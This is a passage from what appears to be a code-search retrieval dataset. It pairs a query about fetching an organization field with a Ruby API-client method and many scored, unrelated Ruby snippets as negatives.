"score": "0.5619892",
"text": "def dependencies_path\n path = []\n @installed_packages.each do |p|\n path.push(p.folder)\n end\n return path\n end",
"title": ""
},
{
"docid": "c1684946e4cb08a1ac04152da2929331",
"score": "0.560362",
"text": "def available_migrations?\n File.exist?(MIGRATIONS_DIR) && Dir[File.join(MIGRATIONS_DIR, '*')].any?\nend",
"title": ""
},
{
"docid": "f3e2d8799705c42b21ba1d2cf9213b60",
"score": "0.5598064",
"text": "def to_a\n @paths.map(&:to_a)\n end",
"title": ""
},
{
"docid": "ec7b1de39daabcc078fa0ff37284decf",
"score": "0.55938053",
"text": "def path_as_array\n get_path_name_array().reverse\n end",
"title": ""
},
{
"docid": "ec7b1de39daabcc078fa0ff37284decf",
"score": "0.55938053",
"text": "def path_as_array\n get_path_name_array().reverse\n end",
"title": ""
},
{
"docid": "50506098e442c862fb03b762ba938f10",
"score": "0.55902517",
"text": "def result_paths\n paths = Dir.glob( dir.join('*') ).map {|x|\n Pathname(x)\n }\n return paths\n end",
"title": ""
},
{
"docid": "d414d0a75ccc3214ba3fd92b11260ea4",
"score": "0.55795014",
"text": "def path_as_array\n get_path_name_array().reverse\n end",
"title": ""
},
{
"docid": "d56f46b4a474041ee87d92846a2371bb",
"score": "0.5576214",
"text": "def paths\n @trail.paths.dup\n end",
"title": ""
},
{
"docid": "7bffc04451c4ef8b21ef4de281831f67",
"score": "0.5565938",
"text": "def role_paths\n Array(Souffle::Config[:chef_role_path]).inject([]) do |_paths, path|\n Dir.glob(\"#{File.expand_path(path)}/*\").each do |role|\n _paths << role if role[-3..-1].eql?(\".rb\")\n end\n _paths\n end\n end",
"title": ""
},
{
"docid": "f7801acb208a7b93e494866a35c0c95d",
"score": "0.5554641",
"text": "def get_migration(name)\n basedir = './db/migrate'\n Dir.chdir(basedir)\n file = basedir + '/' + Dir.glob(\"*\" + name + \"*\").first\n Dir.chdir('../../')\n return file\n end",
"title": ""
},
{
"docid": "ba76330f8ed644d2752a66b0cfc4695f",
"score": "0.55530304",
"text": "def muck_gem_paths\n muck_gem_names.collect{|name| muck_gem_path(name)}\n end",
"title": ""
},
{
"docid": "d497be39434dda9e433c9ef1c62d9f47",
"score": "0.5544894",
"text": "def path_as_array\n get_path_name_array.reverse\n end",
"title": ""
},
{
"docid": "8ae50589f44f418223b49ed1a7be1385",
"score": "0.55391437",
"text": "def to_paths\n @filenames.map{|f| File.join(@directory, f) }\n end",
"title": ""
},
{
"docid": "38afc48d54f94b592c085d1c5d8cee40",
"score": "0.55299926",
"text": "def pathnames\n @pathnames ||= expand_paths\n end",
"title": ""
},
{
"docid": "71a599cc28e47240e3bcf5b304b3db4d",
"score": "0.55187047",
"text": "def relevant_directory_paths\n drafts.map { |doc| relative_draft_path(doc).split(\"/\")[0] }.uniq\n end",
"title": ""
},
{
"docid": "f339b1f67d7aafd8a47ade2df396463e",
"score": "0.5508508",
"text": "def db_script_dirs\n arr = []\n sites.each do |x|\n arr << CONFIGS + x + '/DBSCRIPTS'\n end\n return arr\n end",
"title": ""
},
{
"docid": "32e9221894e68241453d261d57d2003b",
"score": "0.55069757",
"text": "def paths; end",
"title": ""
},
{
"docid": "32e9221894e68241453d261d57d2003b",
"score": "0.55069757",
"text": "def paths; end",
"title": ""
},
{
"docid": "32e9221894e68241453d261d57d2003b",
"score": "0.55069757",
"text": "def paths; end",
"title": ""
}
] |
98ae471d8008e3b91a4ea500da5d4f91
|
Get one organization field Returns data about a specific organization field.
|
[
{
"docid": "12bafc7c7fec7e9b44c56c93da24501a",
"score": "0.56020904",
"text": "def organization_fields_id_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationFieldsApi.organization_fields_id_get ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling OrganizationFieldsApi.organization_fields_id_get\"\n end\n # resource path\n local_var_path = \"/organizationFields/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationFieldsApi#organization_fields_id_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end",
"title": ""
}
] |
[
{
"docid": "c6f3180a963d1e1e89152500ba99ac96",
"score": "0.7863929",
"text": "def organization_field(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:get, \"organizationFields/#{id}\", params)\n end",
"title": ""
},
{
"docid": "c2b4969ae6064d871e2011d8ae00fc14",
"score": "0.73113877",
"text": "def getOrganizationField(orgId, field)\n\tresponse = RestClient.get(\"https://api.trello.com/1/organizations/\"+orgId+\"/\"+field+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "c5d1ce1ad7170c90fc864fe03e8d4cc9",
"score": "0.70104355",
"text": "def organization\n field_values_by_external_id('company-or-organisation', :simple => true)\n end",
"title": ""
},
{
"docid": "441d4c790b27b62ab2719d52fa5fe21e",
"score": "0.67906904",
"text": "def getBoardOrganizationField(boardId, field)\n\tresponse = RestClient.get(\"https://api.trello.com/1/boards/\"+boardId+\"/organization/\"+field+\"?&key=\"+$key+\"&token=\"+$token)\n\tresponse = JSON.parse(response)\t\nend",
"title": ""
},
{
"docid": "9a931dfc60b6eeacf60601629bf7e2b7",
"score": "0.67530006",
"text": "def organization_fields_get(opts = {})\n organization_fields_get_with_http_info(opts)\n end",
"title": ""
},
{
"docid": "fcdbee7c04a47c90adebdc935ebb3bf2",
"score": "0.63864475",
"text": "def organization_fields_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationFieldsApi.organization_fields_get ...\"\n end\n # resource path\n local_var_path = \"/organizationFields\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationFieldsApi#organization_fields_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end",
"title": ""
},
{
"docid": "181fb37f5dd11e71d859121f7936f725",
"score": "0.63115066",
"text": "def getNotificationOrganizationField(notificationId, field)\n\tresponse = RestClient.get(\"https://api.trello.com/1/notifications/\"+notificationId+\"/organization/\"+field+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "0479f6414495f95e0e964d52f141265d",
"score": "0.628418",
"text": "def get(field)\n _doc[field.to_s]\n end",
"title": ""
},
{
"docid": "0479f6414495f95e0e964d52f141265d",
"score": "0.628418",
"text": "def get(field)\n _doc[field.to_s]\n end",
"title": ""
},
{
"docid": "2b2c0795e87fec930deb42ecac2a81bb",
"score": "0.6202398",
"text": "def organization\n id = if params[:organization_id]\n params[:organization_id]\n elsif params.dig(:q, :organization_id_eq)\n params[:q][:organization_id_eq]\n elsif params.dig(model.name.underscore.to_sym, :organization_id)\n params[model.name.underscore.to_sym][:organization_id]\n end\n Organization.where(id: id).first || @record&.organization || OpenStruct.new(id: nil)\n end",
"title": ""
},
{
"docid": "d227b268cf04ab4fa9f74787a4bebf66",
"score": "0.61934435",
"text": "def organization\n organization_id = if params[:organization_id]\n params[:organization_id]\n elsif params.dig(:q, :organization_id_eq)\n params[:q][:organization_id_eq]\n elsif params.dig(:user, :organization_id)\n params[:user][:organization_id]\n end\n Organization.where(id: organization_id).first || @record.organization\n end",
"title": ""
},
{
"docid": "b0e3f1e9631d3bddbc5bd071da94b9ab",
"score": "0.6159068",
"text": "def delete_organization_field(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:delete, \"organizationFields/#{id}\", params)\n end",
"title": ""
},
{
"docid": "101420dcc391ebf6776247ed24850682",
"score": "0.61444116",
"text": "def org\n Organization.find_by id: organization_id\n end",
"title": ""
},
{
"docid": "a92155a057672fc36097128e4989997e",
"score": "0.6125808",
"text": "def organization_fields_id_get(id, opts = {})\n organization_fields_id_get_with_http_info(id, opts)\n end",
"title": ""
},
{
"docid": "ff092b9f0689ec36d726d8b79adcae7f",
"score": "0.6085495",
"text": "def get_organization\n @organization = Organization.find(params[:id])\n end",
"title": ""
},
{
"docid": "f58f6b6bec33aca713b9f49447511419",
"score": "0.6082324",
"text": "def field name\n obj = fields.find { |f| f.name == name }\n raise ArgumentError, \"Unknown field #{name}\" if not obj\n return obj\n end",
"title": ""
},
{
"docid": "83fdc681b8d25ad49d03ec1311bf078c",
"score": "0.6076452",
"text": "def field(field)\n\t\t\tfld = com.portal.pcm.Field.from_pin_name(field)\n\t\t\tfld ||= com.portal.pcm.Field.from_name(field)\n\t\t\tfld ||= com.portal.pcm.Field.from_name(\"Fld\" + field)\n\t\t\treturn fld if fld\n\n\t\t\tpin_name = to_pinname(field)\n\t\t\tfld = Java::ComPortalPcm::Field\n\t\t\tfld = fld.from_pin_name(pin_name)\n\t\t\treturn fld if fld\n\n\t\t\tif name = sdk_field(field)\n\t\t\t\tcom.portal.pcm.Field.from_pin_name(name)\n\t\t\tend\n\n\t\trescue\n\t\t\traise \"Cannot load field named #{field}\"\n\t\tend",
"title": ""
},
{
"docid": "06d58d27fa77eb7cd4deef537f4b1b1b",
"score": "0.6046383",
"text": "def get_field(name)\n get(name)\n end",
"title": ""
},
{
"docid": "852371dd60fb318b45516f82743cc927",
"score": "0.6031828",
"text": "def get_field(field_id, table_id, qb_realm_hostname, authorization, opts = {})\n data, _status_code, _headers = get_field_with_http_info(field_id, table_id, qb_realm_hostname, authorization, opts)\n data\n end",
"title": ""
},
{
"docid": "b53e319abc1eab329c01eba2046f5d04",
"score": "0.6024416",
"text": "def get_organization(org_id)\n end",
"title": ""
},
{
"docid": "55060ba1e49758289090c961f6cc0199",
"score": "0.6000494",
"text": "def get_by_organization_id(organization_id)\n HttpClient::Preconditions.assert_class('organization_id', organization_id, String)\n r = @client.request(\"/organizations/#{CGI.escape(organization_id)}\").get\n ::Io::Flow::V0::Models::Organization.new(r)\n end",
"title": ""
},
{
"docid": "853cfdbd2b13989a9983c9afd177d76b",
"score": "0.5987389",
"text": "def get_field(field, element)\n\t# TODO: try dymanic calling\n\tif(field.include? 'name')\n\t\tget_name(element, true)\n\telsif(field.include? 'lattes')\n\t\tget_lattes(element)\n\telsif(field.include? 'image')\n\t\tget_image(element)\n\telsif(field.include? 'email')\n\t\tget_email(element)\n\telsif(field.include? 'researchLine')\n\t\tget_research_line(element)\n\tend\nend",
"title": ""
},
{
"docid": "5d06d5af538b6b10f243647394f18106",
"score": "0.5965501",
"text": "def field(name)\n fields.get(name)\n end",
"title": ""
},
{
"docid": "f7956a431689178ecef8892801a0a5ba",
"score": "0.5957265",
"text": "def organization\n get('organization')\n end",
"title": ""
},
{
"docid": "6889c391d82f76433e826321f9db070c",
"score": "0.59563965",
"text": "def field\n @field\n end",
"title": ""
},
{
"docid": "5c9c2626b1fece01bde2f5a096de5699",
"score": "0.5918314",
"text": "def getActionOrganizationField(actionId, field)\n\tactions = RestClient.get(\"https://api.trello.com/1/actions/\"+actionId+\"/organization/\"+field+\"?key=\"+$key+\"&token=\"+$token)\n\tactions = JSON.parse(actions)\nend",
"title": ""
},
{
"docid": "2985b0eac1e3120cd4181fd1c14b5cd1",
"score": "0.59159106",
"text": "def field\n return @field\n end",
"title": ""
},
{
"docid": "8ee86562f4edd5ee9b64d87c52f40081",
"score": "0.58949614",
"text": "def get_field(name)\n fields.find { |f| f.name == name }\n end",
"title": ""
},
{
"docid": "66498d28e5d9e6a82eebbb3626c0b480",
"score": "0.5894306",
"text": "def read_metadata_field(field_name)\n @client.get(\"#{metadata_path}/#{field_name}\")\n end",
"title": ""
},
{
"docid": "66498d28e5d9e6a82eebbb3626c0b480",
"score": "0.5894306",
"text": "def read_metadata_field(field_name)\n @client.get(\"#{metadata_path}/#{field_name}\")\n end",
"title": ""
},
{
"docid": "8177369fd6f67b16e243d20702b9669c",
"score": "0.588323",
"text": "def get_field(slug)\n self.fields.where(slug: slug).first\n end",
"title": ""
},
{
"docid": "ed775d11adcfcfc179db4e14701a3de5",
"score": "0.58793247",
"text": "def get_value_or_id(field, for_api)\n field = item_type.find_field(field) unless field.is_a? Field\n\n if for_api\n if field.is_a?(Field::ComplexDatation)\n field.field_value_for_item(self, style: :compact, no_links: true)\n else\n field.field_value_for_item(self)\n end\n else\n field.value_or_id_for_item(self)\n end\n end",
"title": ""
},
{
"docid": "d56db4169b9771d115bf5c6eac1732f7",
"score": "0.5872178",
"text": "def organization\n ::HubEdos::Common::Reference::Descriptor.new(@data['organization']) if @data['organization']\n end",
"title": ""
},
{
"docid": "a8909b1dc2e194c03db83234726cda28",
"score": "0.5863407",
"text": "def organization\n Carto::Organization.find_by(id: organization_id) if organization_id\n end",
"title": ""
},
{
"docid": "d10317ff60a44bae51ee26e966c10579",
"score": "0.5837267",
"text": "def get_org\n if params[:id].nil?\n org = current_user.organization\n else\n org = Organization.find_by(:short_name => params[:id])\n end\n if org.present?\n @org = get_typed_organization(org)\n else\n redirect_to '/404'\n return\n end\n end",
"title": ""
},
{
"docid": "2d3bef4d7d5efb5aab95c238697b0228",
"score": "0.5836317",
"text": "def organization\n @organization = Organization.find(params.require(:organization_id))\n end",
"title": ""
},
{
"docid": "1c14ef453799f07a15dfc61adef0040e",
"score": "0.5829491",
"text": "def organization\n return @organization\n end",
"title": ""
},
{
"docid": "dfe5e6a08d3b2adc5f66e51206f5a5f4",
"score": "0.58091694",
"text": "def update_organization_field(id:, **args)\n params = parameters(args) do\n required_params :name\n optional_params :name, :options\n end\n request(:put, \"organizationFields/#{id}\", params)\n end",
"title": ""
},
{
"docid": "e590ef755199f4a783071f9552a4b9be",
"score": "0.5808099",
"text": "def organization\n # TODO reference by `code` rather than storing the whole thing\n code = (self.org_code || '').split(' ', 2)[0]\n Ncr::Organization.find(code)\n end",
"title": ""
},
{
"docid": "28969cb279268222bb2e5cac0bd083f7",
"score": "0.5801877",
"text": "def get_organization(org)\n response = @conn.get 'search/users', {:q => \"#{org}+type:org\"}\n Validations.checkHttpStatus(response)\n return response.body\n end",
"title": ""
},
{
"docid": "2fd77aa78c6d812439fedead1285e1ae",
"score": "0.578535",
"text": "def get_field(key)\n @acro_fields.getField key.to_s\n end",
"title": ""
},
{
"docid": "1b086f4d0d0b20af3b52e159b1008f59",
"score": "0.57822675",
"text": "def field\n fetch('job.field')\n end",
"title": ""
},
{
"docid": "e5cb78af0a5485efad5cf52b3ea30149",
"score": "0.5766076",
"text": "def organization\n if organization_id\n organization_enum\n else\n OrganizationEnum.default\n end\n end",
"title": ""
},
{
"docid": "f71125f3e491ef0293847ad2397d02e7",
"score": "0.57608855",
"text": "def organisation\n organisations.first\n end",
"title": ""
},
{
"docid": "4f50e67e26013011691d2362a6e4f3bb",
"score": "0.5754273",
"text": "def organization\n fetch('venture_bros.organization')\n end",
"title": ""
},
{
"docid": "0a19aca6a401377844df6a3c017d5042",
"score": "0.5748543",
"text": "def organisation_details\n return blank_value unless organisation\n return partner_names if organisation.partnership?\n\n organisation.name\n end",
"title": ""
},
{
"docid": "153425ca82c3e38c3ae7d42cc09bc24b",
"score": "0.5736556",
"text": "def all_organization_fields(**args)\n params = parameters(args) do\n optional_params\n end\n request(:get, 'organizationFields', params)\n end",
"title": ""
},
{
"docid": "8ba51ba67aff2efeec21bb4dc0eacab7",
"score": "0.57055765",
"text": "def get_fieldconfig_with_http_info(type, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationApi.get_fieldconfig ...\"\n end\n \n \n # verify the required parameter 'type' is set\n fail ArgumentError, \"Missing the required parameter 'type' when calling OrganizationApi.get_fieldconfig\" if type.nil?\n \n # verify enum value\n unless ['person', 'group', 'org', 'externalContact'].include?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of person, group, org, externalContact\"\n end\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/fieldconfig\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'type'] = type\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FieldConfig')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationApi#get_fieldconfig\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "5f39d6f125a097c8b039b199d74b4057",
"score": "0.57003295",
"text": "def find_organization\n @organization = Organization.find(params[:organization_id])\n end",
"title": ""
},
{
"docid": "0db225fdcfdb5d771bbae097acb318f0",
"score": "0.56991297",
"text": "def field(name)\n @field_data[name]\n end",
"title": ""
},
{
"docid": "03d4f64d4c97266245cd75b9c78ace21",
"score": "0.5695576",
"text": "def create_organization_field(**args)\n params = parameters(args) do\n required_params :name, :field_type\n optional_params :name, :field_type, :options\n end\n request(:post, 'organizationFields', params)\n end",
"title": ""
},
{
"docid": "3eb6ee9e260455e67f5b56e940a19d9c",
"score": "0.56933635",
"text": "def read\n model[field_name]\n end",
"title": ""
},
{
"docid": "fd5a72e2c0d1bf27ecc3780aad28e6af",
"score": "0.56877375",
"text": "def get_field(name)\n @fields ||= {}\n field = fields[name]\n raise Tripod::Errors::FieldNotPresent.new unless field\n field\n end",
"title": ""
},
{
"docid": "6d0ed4b11b47c1d6bf4fd22a09baf130",
"score": "0.5676137",
"text": "def org_id\n object = query('SELECT Id FROM Organization').first\n if object && object[:id]\n return object[:id].is_a?(Array) ? object[:id].first : object[:id]\n end\n end",
"title": ""
},
{
"docid": "e96439e880916a36290de4ec64da0ff6",
"score": "0.5662055",
"text": "def field(name)\n @fields[name]\n end",
"title": ""
},
{
"docid": "69e93829ab316cc3d40c07e4cd8abc47",
"score": "0.56576896",
"text": "def organization\n @organization\n end",
"title": ""
},
{
"docid": "9a5dd8a69c8d39788039e0a699229611",
"score": "0.5657141",
"text": "def get(name)\n name = name.to_str\n if result = fields_by_name[name]\n result\n else\n raise FieldNotFound, \"#{name} is not a field of #{self} (fields are #{fields_by_name.keys.join(\", \")})\"\n end\n end",
"title": ""
},
{
"docid": "f072aeb997ccac6d7193be0848c30733",
"score": "0.5653292",
"text": "def org_id\n query('select id from Organization').first['Id']\n end",
"title": ""
},
{
"docid": "6b9f1dfc40c7e085a38d87875d166a5f",
"score": "0.5650758",
"text": "def get_field_from_document(doc)\n # Map the 'facet' fields to normal values\n return doc.journal if field == :journal_facet\n return doc.authors if field == :authors_facet\n\n # Clean up pathological year values\n return clean_year(doc.year) if field == :year\n\n # We're not yet actually faceting on anything other than journal,\n # author, or year; so this code isn't tested\n # :nocov:\n nil\n # :nocov:\n end",
"title": ""
},
{
"docid": "8a12fa4ffb06a2d530a5ed190c2b3865",
"score": "0.56487685",
"text": "def field(field_name)\n self.fields[field_name.to_sym]\n end",
"title": ""
},
{
"docid": "45667433d9cefa4e4813dfe5d1d7ac6d",
"score": "0.56480026",
"text": "def fetch_field(field_code)\n @code = field_code\n @fieldcode, @description = fetch_data(1, field_code)\n @notes = []\n end",
"title": ""
},
{
"docid": "4e338a9ce277916aeb0ee78a4e25aeb6",
"score": "0.56425416",
"text": "def fetch_field\n return nil if @field_index >= @fields.length\n ret = @fields[@field_index]\n @field_index += 1\n ret\n end",
"title": ""
},
{
"docid": "bae7c53e3dfe391a00df46f11816d9a6",
"score": "0.56377524",
"text": "def org_doc(id)\n org = orgs.find({_id: id}).first\n if org\n org\n else\n msg = \"Organization #{id} doesn't exist\"\n cap_mongo_logger.warn msg\n {}\n end\n end",
"title": ""
},
{
"docid": "e7bd6162aa3184b56599f238cd821c55",
"score": "0.56088877",
"text": "def .data_field\n\t\treturn @field\n\tend",
"title": ""
},
{
"docid": "a31182a070ca1eb3839b6c349369234c",
"score": "0.5604867",
"text": "def get_value(field)\n field = item_type.find_field(field) unless field.is_a? Field\n field.value_for_item(self)\n end",
"title": ""
},
{
"docid": "d04510466f03e878a8eb0bf7a797ac4b",
"score": "0.5604187",
"text": "def field(node)\n node.find_field(locator, options)\n end",
"title": ""
},
{
"docid": "96643dc9bb778f2a27b49753991d52c7",
"score": "0.5601782",
"text": "def get_field(request)\n begin\n data, _status_code, _headers = get_field_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = get_field_with_http_info(request)\n else\n raise\n end\n end\n data\n end",
"title": ""
},
{
"docid": "59dd6a3d04d15d274043d6c2d906ebba",
"score": "0.5600738",
"text": "def org_id\n query('select id from Organization').first['Id']\n end",
"title": ""
},
{
"docid": "73707231584c7c3f4493a74228fe6e7d",
"score": "0.5591648",
"text": "def first_organization\n return self.organizations.first\n end",
"title": ""
},
{
"docid": "f99afc6c6f3c3fe114c456fc8a42e835",
"score": "0.5582793",
"text": "def get_by_id(id)\n HttpClient::Preconditions.assert_class('id', id, String)\n r = @client.request(\"/organizations/#{CGI.escape(id)}\").get\n ::Io::Flow::V0::Models::Organization.new(r)\n end",
"title": ""
},
{
"docid": "41177e18e8660e6a0d9404d01ed1f887",
"score": "0.5566921",
"text": "def getMemberOrganizationsInvitedField(memberId, field)\n\tresponse = RestClient.get(\"https://api.trello.com/1/members/\"+memberId+\"/organizationsInvited/\"+field+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "450306669cdd0fafd15db5124c229475",
"score": "0.5557089",
"text": "def company_info(company_id, *fields)\n get(\"/organizations/#{company_id}#{field_selector(fields)}\")\n end",
"title": ""
},
{
"docid": "212758deb591939a7a06d55bfae0ad7a",
"score": "0.55312127",
"text": "def get_demographic_field(field_id)\n path = \"/d2l/api/lp/#{$lp_ver}/demographics/fields/#{field_id}\"\n _get(path)\n # returns fetch form of DemographicsField JSON block\nend",
"title": ""
},
{
"docid": "5cb5626b225d97ed6fe3f0248e41ed3c",
"score": "0.5528989",
"text": "def organization_name\n return @organization_name\n end",
"title": ""
},
{
"docid": "327cbee38862f03e43f635ade9ea3340",
"score": "0.55249",
"text": "def get_field(name)\n return @field_types[name]\n end",
"title": ""
},
{
"docid": "3c89753b4d34d7c7d7becfbf1370b0d8",
"score": "0.55241877",
"text": "def getOrganizationMembersInvitedField(orgId, field)\n\tresponse = RestClient.get(\"https://api.trello.com/1/organizations/\"+orgId+\"/membersInvited/\"+field+\"?key=\"+$key+\"&token=\"+$token+\"&filter=open\")\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "604531f816f295b7dc0818350fa57d94",
"score": "0.55228615",
"text": "def field\n response['error']['field'] if invalid_request?\n end",
"title": ""
},
{
"docid": "c310b604f5f597fd7891430f237ddb06",
"score": "0.55128914",
"text": "def get_field_by_name(name)\n self.class.get_field_by_name(name)\n end",
"title": ""
},
{
"docid": "1bfa502586cf4d0a5d043cf466224068",
"score": "0.55100524",
"text": "def get_field(field)\n mp = nil\n mp_ptr = FFI::MemoryPointer.new(:pointer)\n Botan.call_ffi(:botan_mp_init, mp_ptr)\n mp = mp_ptr.read_pointer\n Botan.call_ffi(:botan_pubkey_get_field, mp, @ptr, field)\n hex_str = Botan.call_ffi_with_buffer(lambda { |b, bl|\n LibBotan.botan_mp_to_str(mp, 16, b, bl)\n }, string: true)\n hex_str.hex\n ensure\n LibBotan.botan_mp_destroy(mp) if mp && !mp.null?\n end",
"title": ""
},
{
"docid": "5b93ea7760a4cecd44c2b0b679e3521d",
"score": "0.55062914",
"text": "def field\n metadata_field\n end",
"title": ""
},
{
"docid": "e91456a6c86155135c2d22a830e5795d",
"score": "0.54974604",
"text": "def field_id(name_or_id)\n if @data.fields.include?(name_or_id)\n return name_or_id\n else\n _id = @jira.field_mapping.key(name_or_id)\n if _id.nil?\n raise InvalidField.new(\"Invalid field name or ID: #{name_or_id}\")\n end\n return _id\n end\n end",
"title": ""
},
{
"docid": "39ca9c4ee4f25fa278499dfcafe1cb74",
"score": "0.5485099",
"text": "def field_name\n @gapi.field_name\n end",
"title": ""
},
{
"docid": "39ca9c4ee4f25fa278499dfcafe1cb74",
"score": "0.5485099",
"text": "def field_name\n @gapi.field_name\n end",
"title": ""
},
{
"docid": "c61ca17971f9590d6d22f1d8d5da03bf",
"score": "0.547388",
"text": "def field(field_name)\n Field.common_or_specific_type(self).where(\"LOWER(name) = LOWER(?)\", field_name).first\n end",
"title": ""
},
{
"docid": "09b182d7e8a98e858e27d377fc5ee924",
"score": "0.54548824",
"text": "def [](field)\n @fields.has_key?(field.to_s) ? @fields[field.to_s] : nil\n end",
"title": ""
},
{
"docid": "09b182d7e8a98e858e27d377fc5ee924",
"score": "0.54548824",
"text": "def [](field)\n @fields.has_key?(field.to_s) ? @fields[field.to_s] : nil\n end",
"title": ""
},
{
"docid": "09b182d7e8a98e858e27d377fc5ee924",
"score": "0.54548824",
"text": "def [](field)\n @fields.has_key?(field.to_s) ? @fields[field.to_s] : nil\n end",
"title": ""
},
{
"docid": "b26baf5f385a0d0ec73e2385b29548d9",
"score": "0.5453848",
"text": "def get_field(field, default = nil)\n value = fields[field]\n value = default if !default.nil? && (value.nil? || (value.respond_to?(:empty?) && value.empty?))\n value\n end",
"title": ""
},
{
"docid": "6252ce689d6d06fd7f4370d9ae5f9c51",
"score": "0.54460067",
"text": "def get_field_for_grouping(doc, field)\n return doc.send(field) unless field == :year\n\n # Support Y-M-D or Y/M/D dates, even though this field is supposed to\n # be only year values\n parts = doc.year.split(/[-\\/]/)\n parts[0]\n end",
"title": ""
},
{
"docid": "6252ce689d6d06fd7f4370d9ae5f9c51",
"score": "0.54460067",
"text": "def get_field_for_grouping(doc, field)\n return doc.send(field) unless field == :year\n\n # Support Y-M-D or Y/M/D dates, even though this field is supposed to\n # be only year values\n parts = doc.year.split(/[-\\/]/)\n parts[0]\n end",
"title": ""
},
{
"docid": "19c79ab5246c01fc0913486b011dfae2",
"score": "0.54437006",
"text": "def get_organization_with_http_info(organization, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AdminApi.get_organization ...\"\n end\n # verify the required parameter 'organization' is set\n if @api_client.config.client_side_validation && organization.nil?\n fail ArgumentError, \"Missing the required parameter 'organization' when calling AdminApi.get_organization\"\n end\n if @api_client.config.client_side_validation && organization !~ Regexp.new(/[0-9a-z\\\\-]+/)\n fail ArgumentError, \"invalid value for 'organization' when calling AdminApi.get_organization, must conform to the pattern /[0-9a-z\\\\-]+/.\"\n end\n\n # resource path\n local_var_path = \"/organizations/{organization}\".sub('{' + 'organization' + '}', organization.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ApiKeyAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Organization')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdminApi#get_organization\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "70bcfb897499df652f1a11d30e8a3bdc",
"score": "0.54424256",
"text": "def get_field_node(field_name)\n check_dom_format!\n selector = \"BusinessObject > FieldList > Field[@Name=#{field_name}]\"\n return @dom.css(selector).first\n end",
"title": ""
},
{
"docid": "6af3b8e55fab0616a0e19a9daf8987f5",
"score": "0.5430465",
"text": "def read(contact, field)\n contact.send(field)\n end",
"title": ""
},
{
"docid": "a688983e2767f66f0a88a46c7ed8e5c0",
"score": "0.5420902",
"text": "def org_get(name)\n uri = server_uri(\"/organizations/#{name}\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"title": ""
},
{
"docid": "2bf40731f65259f738f30bccf5f06dd1",
"score": "0.5415318",
"text": "def retrieve_form_field(field_id)\n start.uri('/api/form/field')\n .url_segment(field_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "1184691dd94f4bff7f865777dce6b4f3",
"score": "0.5411369",
"text": "def organization_name()\n self.organization.name unless self.organization.nil?\n end",
"title": ""
},
{
"docid": "dbac0785a13b827c2506c48ba5ab26dd",
"score": "0.5409144",
"text": "def get_user_organization\n doc = execute_discovery_request('RetrieveOrganizationsRequest')\n select_node_text(doc,'//cds:OrganizationName[1]')\n end",
"title": ""
},
{
"docid": "c50b7075b5b7b7ea062c320e2d8f6121",
"score": "0.54041743",
"text": "def field( which )\n index = field_index(which)\n @fields[0][index]\n end",
"title": ""
},
{
